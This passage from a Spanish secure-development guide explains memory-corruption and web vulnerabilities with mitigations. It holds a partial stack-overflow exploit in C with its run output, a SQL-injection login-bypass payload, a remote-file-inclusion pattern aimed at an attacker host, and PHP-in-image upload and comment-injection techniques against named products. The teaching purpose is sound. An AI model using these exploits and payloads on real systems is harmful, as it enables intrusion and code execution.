  if (argc > 1) bsize  = atoi(argv[1]);  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {    printf("Can't allocate memory.\n");    exit(0);  }    addr = get_sp() ­ offset;  printf("Using address: 0x%x\n", addr);

  ptr = buff;  addr_ptr = (long *) ptr;  for (i = 0; i < bsize; i+=4)    *(addr_ptr++) = addr;    for (i = 0; i < bsize/2; i++)    buff[i] = NOP;    ptr = buff + ((bsize/2) ­ (strlen(shellcode)/2));  for (i = 0; i < strlen(shellcode); i++)    *(ptr++) = shellcode[i];

  buff[bsize ­ 1] = '\0';

  memcpy(buff,"EGG=",4);  putenv(buff);  system("/bin/bash");}

El primer entorno donde veremos la explotación de este desbordamiento de buffer será enGNU/Debian.

$ cat /etc/issueDebian GNU/Linux 3.1

http://www.kernelpanik.org frame at kernelpanik.org 17

Page 18: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

$ uname ­aLinux seldonserver 2.6.8­2­386 #1 Tue Mar 22 13:36:06 EST 2005 i686 GNU/Linux

$ ./exp 612Using address: 0xbffffa58$ ./vuln $EGGexp  exp.c  vuln  vuln.c

El resultado ha sido el esperado la shellcode cargada en el exploit tenía como misión llamar albinario /bin/ls, tarea que ha realizado con éxito.

A continuación intentaremos desbordar el mismo buffer en Fedora Core 3, con resultados pocosatisfactorios.

# uname ­aLinux hawking 2.6.10­1.770_14.rhfc3.at #1 Fri Mar 4 11:34:31 EST 2005 i686 i686 i386 GNU/Linux

$ ./exp 612Using address: 0xbff493a8$ ./vuln $EGGViolación de segmento

El motivo concreto de que este exploit no haya funcionado es que Fedora Core 3 implementa unasolución denominada “exec-shield”, la cual impide la ejecución de código en stack/heap, randomizael espacio de direcciones, así como previene contra el uso de tecnicas de explotación másavanzadas como pueden ser “return-into-libc”. No obstante, existen técnicas de explotaciónconcretas que pueden sobrepasar esta protección pero que no entran dentro de los ámbitos de estedocumento. Por tanto, aunque con un exploit convencional no se pueda explotar, no significa queel programa sea seguro, ni mucho menos, que el que existan técnicas antiexplotación como “exec-shield”, o “PaX”, u otras, hagan permisible la programación insegura.

Con este ejemplo de explotación damos por concluida esta sección. Es evidente que la únicasolución válida al problema del stack buffer overflow pasa por chequear siempre los límites de losbuffers, llamar a funciones seguras ( strncpy, strncat, snprintf, etc ) en detrimento de funcionesque no tengan control alguno sobre el tamaño de lo copiado y colocar siempre NULL ('\0') al finaldel buffer.

2.1.3.- Desbordamientos de memoria dinámica

Una vez vistos los desbordamientos del stack, veremos, someramente, y muy por encima, elmundo de los desbordamientos en memoria dinámica: BSS ( Block Started by Simbol ) y Heap.Decimos someramente porque es un mundo extenso y complejo del que sólo veremos su capa mássuperficial, entendiendo que no es más que una extensión a lo ya expuesto, y que no aporta másprofundidad al tema que nos centra: la programación segura.

Como introducción a este punto, ampliaremos la información anterior relativa a la estructura de unproceso en memoria y a su comportamiento en tiempo de ejecución para permitir una mejorcompresión del ejemplo básico de explotación que mostraremos al final de este apartado.

http://www.kernelpanik.org frame at kernelpanik.org 18

Page 19: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

0xffffffff      _________________________________________________0xbfffffff      [                                               ]                [ Segmento de pila (stack)                      ]                [        ___  ___  ___  ___  ___  ___  ___      ]                [      \/   \/   \/   \/   \/   \/   \/   \/    ]                [                                               ]                [ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ]                [                                               ]                [ ( espacio libre para uso del heap y stack)    ]                [                                               ]                [ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ]                [                                               ]                [     /\__/\__/\__/\__/\__/\__/\__/\__/\__/\    ]                [                                               ]                [                   (heap)                      ]                [_______________________________________________]                [    BSS                                        ]                [­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­ ­]                               [                                               ]                [ Segmento de Datos                             ]                [                                               ]                [_______________________________________________]                [                                               ]                [ Segmento de Texto                             ]                       [                                               ]0x08048000      [­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­]                [               (espacio sin uso)               ]0x00000000                [_______________________________________________]

En este gráfico vemos cĺáramente, además del segmento de texto y de datos, comentados conanterioridad, unos nuevos espacios: BSS y Heap.

La sección denominada BSS contiene datos no inicializados, bien sean variables estáticas oglobales, que no tienen asignados valor alguno. Estáticamente se representa como un espaciorelleno de ceros equivalente al tamaño que ocupará en memoria una vez en tiempo de ejecución.Su direccionamiento va de menor a mayor dirección.

Justo encima de la sección BSS se encuentra el HEAP, región iniciada de forma dinámica en tiempode ejecución. Esta región es la usada para reservar memoria dinámica mediante el uso, porejemplo, de la instrucción malloc. Al igual que la región BSS, el sentido de crecimiento es demenor a mayor dirección. Esto determina que el orden de aparición de las variables en unprograma influya de manera significativa en las posibilidades de explotación del error, puesto quedependiendo de la variable que podamos sobrepasar podremos modificar el área de memoriacontigua.

http://www.kernelpanik.org frame at kernelpanik.org 19

Page 20: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Como podemos intuir del anterior párrafo la forma de explotación de este tipo de desbordamientono pasa por la sobreescritura de la dirección de retorno, sino por la modificación de un espacio dememoria contiguo al desbordable para nuestro beneficio. Veámoslo con un sencillo ejemplo,explotable bajo cualquier plataforma, en el cual el uso de una función insegura como “gets”,permite modificar el flujo normal de ejecución de un programa.

$ cat heap.c 

#include <stdio.h>

int main(int argc, char **argv){        char *p1 = (char*)malloc(24),        char *p2 = (char*)malloc(12);        int fd;

        strcpy(p2, "/tmp/vulfile");        gets(p1);        fd=open(p2,"a+");        write(fd,p1,strlen(p1));        return (0);}

Veámos cómo se puede subvertir el funcionamiento de este código.

$ ./heaphola$ cat /tmp/vulfileaaaaaaaaaaa$ rm /tmp/vulfile

$ ./heaphola vamos a intentar sobreescribir el buffer para modificar el comportamiento del programa$ cat /tmp/vulfilecat: /tmp/vulfile: No existe el fichero o el directorio$ ls ­l ­r­Sr­x­­T  1 root root   91 may 18 10:55 bir el buffer para modificar el comportamiento del programa

Como vemos, escribir más allá de los límites del buffer “p1”, hace que se modifiquen los datosalmacenados en “p2”, en este caso el nombre del fichero en el que se escribe, lo cual nos permite,modificar la ruta de escritura a una elegida por nosotros mismos.

No vamos a seguir profundizando en la explotación de heaps overflows puesto que no es elobjetivo de este documento. Decir que la explotación real de este tipo de desbordamientos pasapor la implementación de la función free() en libc. Dicha función ante modificaciones concretas enel heap llevadas a cabo merced a un buffer desbordado provoca que la liberación de áreas dememoria pueda llevar a la modificación en el flujo de ejecución de un programa.

La solución a este problema es idéntica a la del desbordamiento de pila, con una particularidad: laliberación en más de una ocasión del mismo buffer ( double freed ) también podrá ser explotadapara subvertir el uso de un software. Dada la cierta complejidad que entraña la explotación de estetipo de errores, no entraremos en mayor detalle, que comentar que ante ciertas situaciones es

http://www.kernelpanik.org frame at kernelpanik.org 20

Page 21: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

posible posicionar datos específicamente construidos en memoria que en el proceso de liberaciónconsecutiva pueden llevar a la modificación del comportamiento de un software.

2.1.4.- Errores de formato

En este último epígrafe hemos agrupado dos errores comunes: los errores en el formato de lascadenas en la librería libc, y el desbordamiento de los enteros.

El primer error está vinculado a la familia de funciones “printf”, y plantea un problema deseguridad cuando esta familia de funciones es llamada sin especificar el formato de los parámetrosque van a ser suministrados.

Uso correcto: printf(“%s”, valor);Uso incorrecto: printf(valor);

Como vimos en el ejemplo de la sección 1.4 un error el formato puede llevar a una violación desegmento. No vamos a entrar en cómo se explotan ese tipo de fallos, más allá de comentar muypor encima que están vinculados al uso malintencionado por parte de un usuario de las cadenas deformato propias de esta familia de funciones, más concretamente del modificador %n, el cual sirvepara escribir el número bytes impresos.

2.2.- Evolución del fallo de seguridad

En el anterior punto hemos visto los que los errores clásicos tienen una serie de características,unas negativas desde el punto de vista de la explotación: ser dependientes del lenguaje, serdependientes de la arquitectura o posibilidades de error en la explotación elevadas y otraspositivas: privilegios elevados o simplemente ser la única forma de atacar escenarios concretos.

Sin embargo dos han sido los factores que han hecho que el fallo de seguridad evolucione: el nivelde madurez en el código de los servicios de red y la proliferación de las aplicaciones web. Laprimera no es más que el producto lógico de la refactorización de un código probado durantelargos años. En la actualidad los errores clásicos presentes en httpd's, ftpd's o smtpd's se han idoreduciendo cada vez más, son meses, o incluso años, los que estos servicios permanecen sin fallosde seguridad críticos, lo cual ha hecho que las vulnerabilidades en los sistemas evolucionen hastanuevos ámbitos, esta evolución ha venido de la mano de aplicaciones desarrolladas por capas yconcretamente de la mano de las aplicaciones web.

2.2.1.- Aplicaciones Inseguras

En los últimos tiempos, y principalmente en el desarollo de aplicaciones web, aunque también esextensible a aplicaciones de escritorio recientes, se impone el empleo de una arquitectura porcapas, satisfaciendo de esta manera una serie de criterios deseables en toda aplicación:abstracción, escalabilidad, tolerancia al cambio, capacidad de adaptación, por citar algunas.

http://www.kernelpanik.org frame at kernelpanik.org 21

Page 22: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

En el desarrollo por capas se divide en 3: capa de presentación, capa de aplicación y capa dedatos.

La capa de presentación aglutina la interactuación con el usuario, interactuación que se realizamediante una interfaz. Esta capa, a nivel de desarollo corresponde con la “Vista” en patrón MVC(Modelo-Vista-Controlador).

La capa de aplicación es la que contiene lo que comúnmente se denomina “lógica de negocio”. Estacapa es la encargada de atender las peticiones que llegan de la interfaz de usuario, realizando conellas las tareas pertinentes y devolviendo un resultado cuando sea preciso. Dentro de un modelode desarrollo esta capa estaría conformada por el “Controlador” y en parte por el “Modelo”.

La última capa, es la capa de datos. Esta capa se encarga de abstraer por completo la gestión delos datos de una aplicación. Las aplicaciones actuales generalmente usan un SGBD ( Sistema deGestión de Bases de Datos ) enlazado a la aplicación mediante un componente apropiado allenguaje y al propio SGBD. Dentro del patrón MVC esta capa se encontraría en el “Modelo”.

Este es el modelo de aplicación insegura más habitual en nuestros días. En él las vulnerabilidadehan surgido en cada uno de los elementos que lo integran. Por un lado encontramosvulnerabilidades del lado del cliente, denominadas inyección de código en el cliente, por otro ladoencontramos vulnerabilidades en el servidor de aplicación: inyección de código en el servidor, yúltimo dentro del sistema de gestión de bases de datos mediante la inyección de sql. Estos treserrores: inyecciones de código en clientes, servidores de aplicación y sistemas de gestión de basesde datos son los ataques básicos contra un modelo de desarrollo no totalmente consolidado,propenso a la proliferación de fallos y que permite una escalada de privilegios remota uniforme,independiente de la plataforma y con poco o ningún riesgo de error en la explotación. Hemospasado así de un modelo dificil de explotar y con grandes privilegios, a un modelo sencillo deexplotar aunque con unos privilegios generalmente menores, dado que el usuario con el que seejecuta una aplicación web suele ser un usuario standard del sistema, aunque esto como veremos,no será siempre así.

Antes de continuar es conveniente repasar de forma ligera el protocolo HTTP/1.1 usado como

http://www.kernelpanik.org frame at kernelpanik.org 22

Page 23: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

mecanismo de comunicación entre cliente y servidor web. En este protocolo, de forma común, seusan generalmente dos métodos para comunicar al cliente con el servidor. Uno es el método GET,método encargado de una vez establecida la comunicación TCP/IP solicitar un contenido delservidor, el otro es el método POST, cuya finalidad es enviar datos, codificados en un formatoconcreto, entre el cliente y el servidor. Veamos dos ejemplos de estos métodos.

GET /index.php?p=contacto HTTP/1.1Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept­Charset: ISO­8859­1,utf­8;q=0.7,*;q=0.7Accept­Encoding: gzip,deflateAccept­Language: en­us,en;q=0.5Host: www.kernelpanik.org Referer: http://www.kernelpanik.orgUser­Agent: Mozilla/5.0 (X11; U; Linux i686; en­US; rv:1.7.5) Gecko/20041111 Firefox/1.0Keep­Alive: 300

En este ejemplo, se solicita el contenido index.php con el parámetro “p=contacto”, dichoparámetro podrá ser recuperado por index.php para su uso interno, en este caso mostrar esadeterminada página y no otra. Como vemos una serie de campos adiccionales se incluyen en lapetición, los principales “Host”, el cual es imprescindible para discriminar entre host virtuales de unmismo servidor.

POST http://localhost/app.php HTTP/1.1Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5Accept­Charset: ISO­8859­1,utf­8;q=0.7,*;q=0.7Accept­Encoding: gzip,deflateAccept­Language: en­us,en;q=0.5Host: localhostReferer: http://localhost/index.phpUser­Agent: Mozilla/5.0 (X11; U; Linux i686; en­US; rv:1.7.5) Gecko/20041111 Firefox/1.0Content­Length: 14Content­Type: application/x­www­form­urlencodedKeep­Alive: 300

p=1&z=3&a=test

En este ejemplo se le suministra al contenido “app.php” los parámetros “p=1”, “z=3” y “a=test”.En este caso a los campos básicos se añaden el Content-Length, tamaño de lo enviado, y Content-Type, formato en el que van codificados los datos.

Por último decir que muchos y muy variados son los lenguajes para desarrollar aplicaciones web:c, php, asp, jsp/servlets, python, perl o perl son sólo algunos de ellos. Sin embargo es posibleencontrar los errores que enunciaremos a continuación en todos y cada uno de ellos.

2.2.2.- Inyección de SQL

Muchos desarrolladores no son conscientes de cómo pueden manipularse las consultas SQL, yasumen que una consulta SQL es un comando confiable. Esto representa que las consultas SQL

http://www.kernelpanik.org frame at kernelpanik.org 23

Page 24: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

pueden convertirse en un riesgo para la seguridad, permitiendo evadir desde controles de acceso,mostrar información sensible y en los casos más serios permitiendo ejecutar código en el servidorque aloje el SGDB.

La inyección de comandos SQL es una técnica en la cual un atacante crea o altera comandos SQLexistentes dentro de la aplicación para subvertir el correcto funcionamiento de la misma. Esto seconsigue cuando la aplicación toma información de entrada del usuario y la combina conparámetros estáticos para construir una consulta SQL. Los ejemplos que acompañan esta secciónmuestran tanto casos teóricos, como ejemplos prácticos de aplicaciones reales vulnerables a estetipo de ataques. Estos ataques se basan principalmente en la explotación del código que no ha sidoescrito pensando en la seguridad y en los que se ha confiado en la validez de los parámetros deentrada suministrados por el usuario.

A continuación veremos algunos ejemplos de código típicos que podrían ser vulnerados usandoeste método. El primero de los ejemplos será un caso bastante trivial que permite sobrepasar unaautentificación de usuario.

<?$host='localhost'; $dbuser='root'; $dbpass='hola';$db='oceans'; $table='dnipass';if (isset($_GET["dni"])) $dni=$_GET["dni"];if (isset($_GET["passwd"])) $pass=$_GET["passwd"];

$connect=mysql_connect($host, $dbuser, $dbpass)mysql_select_db($db, $connect);

$consult="SELECT * FROM `$table` WHERE dni=" . $dni . " AND passwd=" . $pass;$query=mysql_query($consult,$connect);

if ((mysql_num_rows($query)) > 0) {    echo ("usuario <b>" . $dni . "</b> autenticado");} else {    echo ("usuario invalido");}?>

En este ejemplo de autenticación tenemos un documento nacional de identidad y una contraseñanumérica. ¿Cómo sobrepasar esta autenticación. Podemos ver que la siguiente combinación deparámetros bien pueden servir:

dni: 23037159passwd: 0 OR 1=1

Esto hará que la consulta se transforme en: SELECT * FROM `dnipass` WHERE dni=23037159AND passwd=0 OR 1=1. Consulta que siempre devolverá un contenido con lo cual la autenticaciónsiempre retornará positiva.

$consult="SELECT * FROM `$table` WHERE dni='$dni' AND passwd='$pass'”;

En este simple cambio se producen una serie de modificaciones al escenario, para empezar ya

http://www.kernelpanik.org frame at kernelpanik.org 24

Page 25: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

forzamos el tratamiento de los valores de entrada como cadenas, lo que haría que una inyeccióncomo la anterior adquiriese el siguiente aspecto: SELECT * FROM `dnipass` WHEREdni='23037159' AND passwd='0 OR 1=1'. Algo que ya no devuelve nada, porque la passwordsuministrada es “0 OR 1=1”, una contraseña que desde luego no coincide con la necesaria parasobrepasar la autenticación.

Este escenario nos introduce de forma más real en el concepto de la inyección de SQL ya que parasu conveniente explotación es necesario sobrepasar las comillas, es decir, que el texto introducidocomo contraseña contenga: “0' OR 1=1”. Llevándonos esto a dos modelos de explotación.

El primer modelo es aquel en el cual no existen sistemas de control automáticos para las comillas.Esto generalmente se produce en lenguajes como ASP o JAVA, mientras que en PHP existe unadirectiva, por defecto activa, denominada “magic_quotes_gpc”, la cual transforma toda comillasimple y doble ( ' y “ ) en una secuencia ( \' y \” ) haciendo que no se puedan atacar excenarioscomo el descrito. Veámoslo con dos ejempos. El primero con “magic_quotes_gpc” activo y elsegundo inactivo.

Activo: SELECT * FROM `dnipass` WHERE dni='23037159' AND passwd='1\' OR 1=1'Inactivo: SELECT * FROM `dnipass` WHERE dni='23037159' AND passwd='1' OR 1=1

Es evidente que en el primer escenario no se producirá subversión alguna del comportamientoesperado para la aplicación, mientras que en el segundo caso habremos podido escapar lascomillas, volviendo a sobrepasar la autenticación. Es evidente que en aquellos lenguajes que no secontrole de forma automática la existencia y transformación de las comillas, será necesario unesfuerzo consciente por parte del programador que permita este control.

Mucho podríamos extender esta sección hablando sobre la inyección de SQL. Podríamos ponerejemplos de explotación mediante el uso de la sentencia “UNION”, en aquellos SGBD que lapermiten, consiguiendo así extracción de información sensible. Ejemplos de explotación medianteel uso de INSERT/UPDATE. O hablar del riesgo que los procedimientos almacenados en losservidores Microsoft SQL, principalmente el procedimiento xpcmdshell que permite ejecución decomandos en el servidor. Pero la idea subyacente siempre será la misma: en una consulta en laque un usuario malintencionado en el que el contenido no se procede entrecomillado o convertidoa un entero, o haya sido posible escapar las comillas porque no exista un control, automático omanual, de estas, siempre existirá un riesgo para la seguridad, mayor o menor, en función delentorno en el cual nos encontremos.

Las técnicas de prevención y protección contra este ataque son la siguientes:

Nunca conectar a la base de datos como un super-usuario o como el dueño de la base dedatos. Usar siempre usuarios personalizados con privilegios muy limitados.

Revisar si la entrada recibida es del tipo apropiado.

Cercionarse que cada entrada del usuario de tipo no numérico sea suministrada a la base dedatos entrecomillada. Si el lenguaje no añade la contrabarra a las comillas de forma

http://www.kernelpanik.org frame at kernelpanik.org 25

Page 26: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

automática, para que el SGDB la interprete como un caracter y no como una secuencia deescape, será el programador el que tenga que forzar las conversión bien usando lasfunciones definidas por el lenguaje, si las hubiera, o bien con un método manual deconversión.

Hasta aquí llega este punto, en el siguiente veremos la inyección de comandos en el servidor.

2.2.3.- Inyección de comandos en el servidor

La inyección de comandos en el servidor, también denominada “server-side code injection”,consiste en la inclusión, bien local, o bien remota, de contenido ajeno a la aplicación por parte deun atacante, con el fin de obtener ejecución de comandos con los privilegios que se ejecute elservidor web. Se presenta generalmente en dos formas diferentes. La primera de ellas por el usoinapropiado de funciones contenidas en el lenguaje que debido a su potencia y versatilidad puedenllevar a la citada ejecución de comandos. La segunda tiene que ver con un control incorrecto de losdatos que se almacenan en ficheros potencialmente ejecutables.

El primer modelo de error generalmente está presente en aplicaciones PHP ante el uso defunciones como include, include_once, require o require_once. La potencia y verstalidad de estasfunciones, que permiten leer e interpretar cualquier fichero como contenido php, bien sea de formalocal, o remota a través de protocolos como http, ftp e incluso samba, hace que para uso se debanseguir una serie de pasos que eviten situaciones indeseables.

El segundo modelo puede presentarse en cualquiera de los lenguajes y está vinculado a la salida adisco de datos suministrados por el usuario. Dentro de este modelo encontramos también dosdivisiones. La primera será aquellos casos en los que no exista un SGBD propiamente dicho, y seusen ficheros de disco para almacenar datos. Esto que puede parecer extraño, es bastante comúnen sistemas de gestión de contenido, que pregeneran el contenido a mostrar y lo almacenan endisco para economizar tiempos de acceso. Los datos pueden ser de la más diversa índole, desdedatos propios del perfil de un usuario, hasta acciones de este como envíos de comentarios,mensajes o noticias. El segundo grupo será la subida de ficheros al servidor por parte de unusuario. En estos casos la validación y control de los datos almacenados por el usuario deberá sermáxima.

Antes de continuar, hacer un inciso, sobre el segundo modelo. Debemos recordar, que en unservidor web, el contenido es procesado en función de la extensión, y del manejador ( handler )asociado a ella. Así por ejemplo, un servidor web modular como apache, puede cargar múltiplesmódulos para la gestión de los más diversos contenidos: mod_php, para la gestión de contenidoPHP, mod_perl, para la gestión de contenido perl, o mod_cgi, para la gestión de contenidoejecutable dentro de un entorno “cgi-bin”. Paralelamente existen manejadores que asociancontenido, es decir, extensiones de fichero a determinados módulos. Pudiéndose dar situaciones enlas que por ejemplo un fichero “.html” sea procesado por “mod_php”. Lo cual debe ser tenido muyen cuenta a la hora de almacenar datos en el disco, sobre todo si la aplicación debe ejecutarse enservidores de los que no conocemos su extacta configuración.

http://www.kernelpanik.org frame at kernelpanik.org 26

Page 27: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

A continuación veremos una serie de ejemplos reales, con aplicaciones usadas en los más diversosentornos: personal, empresarial, gubernamental o educativo, entre otros. Los primeros ejemploscorresponden al primer grupo, uso inapropiado de las funciones include, include_once, require,require_once.

Para el primer ejemplo usaremos una ejecución remota de código existente en la versión 1.6.x dePHPDig. PHPDig, es la implementación en PHP del motor de búsqueda HTDig, y es usado entreotros por usuarios, empresas e instituciones gubernamentales de España, Europa y EstadosUnidos.

PhpDig 1.6.xen ./includes/config.php:===========================(..)

//includes language fileif (is_file("$relative_script_path/locales/$phpdig_language­language.php"))    {include "$relative_script_path/locales/$phpdig_language­language.php";}else    {include "$relative_script_path/locales/en­language.php";}(..)

//includes of librariesinclude "$relative_script_path/libs/phpdig_functions.php";include "$relative_script_path/libs/function_phpdig_form.php";include "$relative_script_path/libs/mysql_functions.php";

El uso de la función include, sin mayor chequeo, permite que un usuario malicioso pueda adulterarla variable $relative_script_path, con un valor similar a “http://hostatacante”, transformando lainclusión local de un fichero alojado en el servidor, en una inclusión remota de un fichero phpexistente en el servidor del atacante, que será leido e interpretado por la aplicación, permitiendo laejecución remota de comandos. Nótese que también se puede realizar una inclusión de ficheroslocal.

Para el segundo ejemplo, es decir, salida de contenidos no verificados a disco. Usaremos comoejemplo un fallo de seguridad existente en el sistema de comentarios de GreyMatter v1.21d.Greymatter es un gestor de contenidos ligero, escrito en Perl, y que usa como sistema dealmacenamiento de datos ficheros en disco. El problema para la seguridad radica en losmanejadores que tenga asociada la extensión que seleccionemos como sistema dealmacenamiento, por defecto .html. Aunque es común que en algunos hosts se seleccione .php,para aumentar la funcionalidad. En ambos casos, si el manejador de PHP está activo para laextensión seleccionada se puede producir un problema de seguridad al ser posible introducircontenido ejecutable dentro del campo de comentarios.

De tal forma que insertando en un campo comentario <script language='php'>comando;</script >este sería almacenado en el fichero de comentarios. Una vez que el fichero de comentarios seallamado por el atacante podrá ejecutar comandos.

El último ejemplo versará sobre la subida de ficheros al servidor. En este caso usaremos un fallo de

http://www.kernelpanik.org frame at kernelpanik.org 27

Page 28: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

seguridad de reciente publicación en el sistema de gestión de contenidos y plataformas depublicación BoastMachine v3.0 Platinum. Más concretamente en la subida de un “avatar”, imagenasociada a un usuario, al servidor.

==== BoastMachine v3.0: Subir una imagen para el usuario.==== ./bmc/inc/users/users.inc.php

        // Upload the user picture        if($_FILES['user_pic']['name']) {                // Check or valid filesize                if(!isset($_FILES['user_pic']['size']) ||                 $_FILES['user_pic']['size'] > ($bmc_vars['user_pic_size']*1024)) {                        bmc_Template('error_page',str_replace("%size%",                        $bmc_vars['user_pic_size'],$lang['user_pic_size_fail']));                }

                $ext=explode(".",$_FILES['user_pic']['name']);                $ext=trim($ext[count($ext)­1]);                $user_pic=$user."_pic.".$ext;

                @move_uploaded_file($_FILES['user_pic']['tmp_name'],                 CFG_PARENT."/files/".$user_pic);

                        // Verify image                        $img=@getimagesize(CFG_PARENT."/files/".$user_pic);

                        // BIG SIZE!                        if((!isset($img[0]) || !isset($img[1])) || ($img[0] >                         $bmc_vars['user_pic_width'] || $img[1] >                         $bmc_vars['user_pic_height'])) {                                @unlink(CFG_PARENT."/files/".$user_pic);                                bmc_Template('error_page',str_replace("%width%",                                $bmc_vars['user_pic_width'],str_replace("%height%",                                $bmc_vars['user_pic_height'],$lang['user_pic_dimension_fail'])));                        }                $user_pic_sql=",user_pic='{$user_pic}'";        } else {                $user_pic_sql="";        }

Las líneas clave están en la asignación de extensión al fichero, donde se mantiene la extensiónexistente, y en la llamada a la función getimagesize, dado que siempre y cuando retorne un valorválido en tamaño y dimensión la imagen será válida. La forma de vulnerar esta aplicación pasa porconcatenar a una imagen, por ejemplo jpg, contenido en php, y cambiar su extensión de .jpg a .php, lo cual nos hará tener una imagen en el servidor, con extensión php, que será procesada porPHP y ejecutado su contenido.

Las medidas de prevención y protección contra este tipo de ataques son las siguientes:

Filtrar carácteres potencialmente peligrosos en las entradas suministradas por el usuario.Estos carácteres serán generalmente aquellos que permitan conectar a máquinas remotas,bien modificar rutas locales, es decir: “/”, “\” y “.”

http://www.kernelpanik.org frame at kernelpanik.org 28

Page 29: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

Minimizar el uso de funciones potencialmente peligrosas, y en aquellos casos que seanecesario su uso, hacerlo siguiendo unos criterios de seguridad: comprobar que es unainserción local o que no se está modificando el path para la inclusión.

Chequear toda salida a disco. Filtrando siempre el uso de caractéres potencialmentepeligrosos. Estos carácteres serán las secuencias de escape que delimitan contenidopotencialmente ejecutable: “<” y “>”. Nótese que limitar exclusivamente secuencias como“<?” o “<%”, aunque pueda parecer una buena solución a priori, viendo el ejemplo deGreyMatter podemos ver que existen otras etiquetas, como “<script>” que permitenejecutar contenido en el servidor.

Controlar y verificar los tipos de ficheros que el usuario puede subir al servidor. Nuncapermitir al usuario subir cualquier tipo de contenido.

Hasta aquí ha llegado la inclusión de ficheros en el servidor. En el siguiente apartado trataremos lainclusión de código HTML en el cliente.

2.2.4.- Inyección de código HTML en cliente

La inyección de código HTML en el cliente será el último de los problemas que veamos en relacióncon las aplicaciones web. Este error, también denominado “Cross-Site Scripting”, abreviado XSS,se fundamenta en inyectar dentro de la aplicación código HTML que al ser mostrado en elnavegador de la víctima del ataque pueda alterar su comportamiento normal.

Esto nos da 2 ideas claves entorno a este ataque. La primera es que es un ataque pasivo. Esnecesario que la víctima realice una determinada acción, como por ejemplo visitar unadeterminada web, para sufrir dicho ataque. La segunda, es que el ataque se produce en el cliente,y nunca en el servidor. Es decir, lo se ataca es a un cliente conectado a un servidor, y no al propioservidor.

¿Qué riesgo para la seguridad es este?. Este tipo de ataque no siempre presenta un riesgo para laseguridad, sin embargo es cierto que existen determinados escenarios en los cuales la inyección decódigo HTML en el contexto de un cliente se convierte en un problema para la seguridad, tanto delcliente, como del servidor. Veámoslos.

El primer escenario es el robo de credenciales de un cliente autenticado en la aplicación. Este tipode ataque es posible merced a los sistemas de control de sesiones que implementan lasaplicaciones web. Generalmente una aplicación se decanta por una de las siguientes formas decontrol de la sesión del usuario: una variable en la aplicación o una cookie. Tanto una como otracontendrán el identificador de sesión ( sid ), consistente en una cadena de texto, usualmentealfanumérica, de una longitud suficiente como para garantizar la imposibilidad de colisiones entreidentificadores de usuario. Este identificador se obtiene una vez superada la autenticación ygeneralmente se amplia la seguridad asociándolo a una IP y delimitando el tiempo de uso delmismo. Estas credenciales son almacenadas por el navegador, por tanto, inyectando HTML,

http://www.kernelpanik.org frame at kernelpanik.org 29

Page 30: Desarrollo Seguro de Aplicaciones

Desarrollo Seguro de Aplicaciones v0.6 Beta

concretamente javascript, dentro de una aplicación es factible robar las credenciales de un usuariode manera más o menos trivial, con una simple llamada a un servidor controlado por el atacante elcual almacene dichas credenciales. Este ataque se ve dificultado en numerosas ocasiones por uncontrol de la IP del usuario legítimo de la aplicación. No obstante recordemos que la existencia deproxys intermedios en los proveedores de servicio, así como de intranets con IP compartidamediante NAT, hacen que siga siendo posible este tipo de ataque.

Como ejemplo, usaremos una inyección de código HTML existente en Netscape Messenger Express.El cual al insertar una referencia a un contenido externo, permitía capturar el contenido del campoHTTP_REFERER con el identificador de sesión en él. Paralelamente un inapropiado control de la IPdel usuario por parte de algunos proveedores de servicios, como por ejemplo Terra, permitía elrobo de sesiones de usuario.

Además de robar sesiones de usuario, es posible en aquellas aplicaciones que incorporanfuncionalidades sobre el servidor, invocarlas ante la ejecución de una inyección de HTML en laaplicación. Así sucede actualmente con Horde/IMP, popular webmail escrito en PHP.

Horde/IMP permite una inyección de HTML en el campo Subject ( Asunto ) de los mensajes deemail. Generalmente este problema no debería ir más allá de capturar la sesión del usuario, pero laexistencia de privilegios extendidos para los administradores de Horde, así como de que Horde seausado como plataforma de lectura de correo por aplicaciones como CPanel, hace que sea posibleejecutar comandos sobre el servidor a partir de un sencillo ataque de inyección de código.

La solución a este tipo de problemas pasa por la creación de una función de impresión segura, lacual remplace los caracteres “<” y “>” por “&lt” y “&gt”, para su correcta representación sinpeligro en los navegadores web.

2.3.- Otros errores de seguridad

2.3.1.- Escalada de directorios

En cualquier tipo de aplicación es posible que existan medidas de seguridad que restrinjan losdirectorios en los cuales un usuario de la misma puede interactuar, sobrepasar esas medidas deseguridad, es decir, poder acceder a directorios fuera del marco de seguridad original, es lo que seconoce como escalada de directorios.

Este error se puede presentar y explotar de muchas maneras. Una forma puede ser introduciendolos carácteres “../” como parte de una entrada de usuario relativa a un fichero que queramosvisualizar, descargar o almacenar. Otra forma menos común es haciendo uso de funcionalidadesadiccionales las cuales aun perteneciendo a la aplicación no validen dicha restricción de seguridad.Veámos un ejemplo de este último modelo presente PHP 4/5 hasta su versión más reciente.

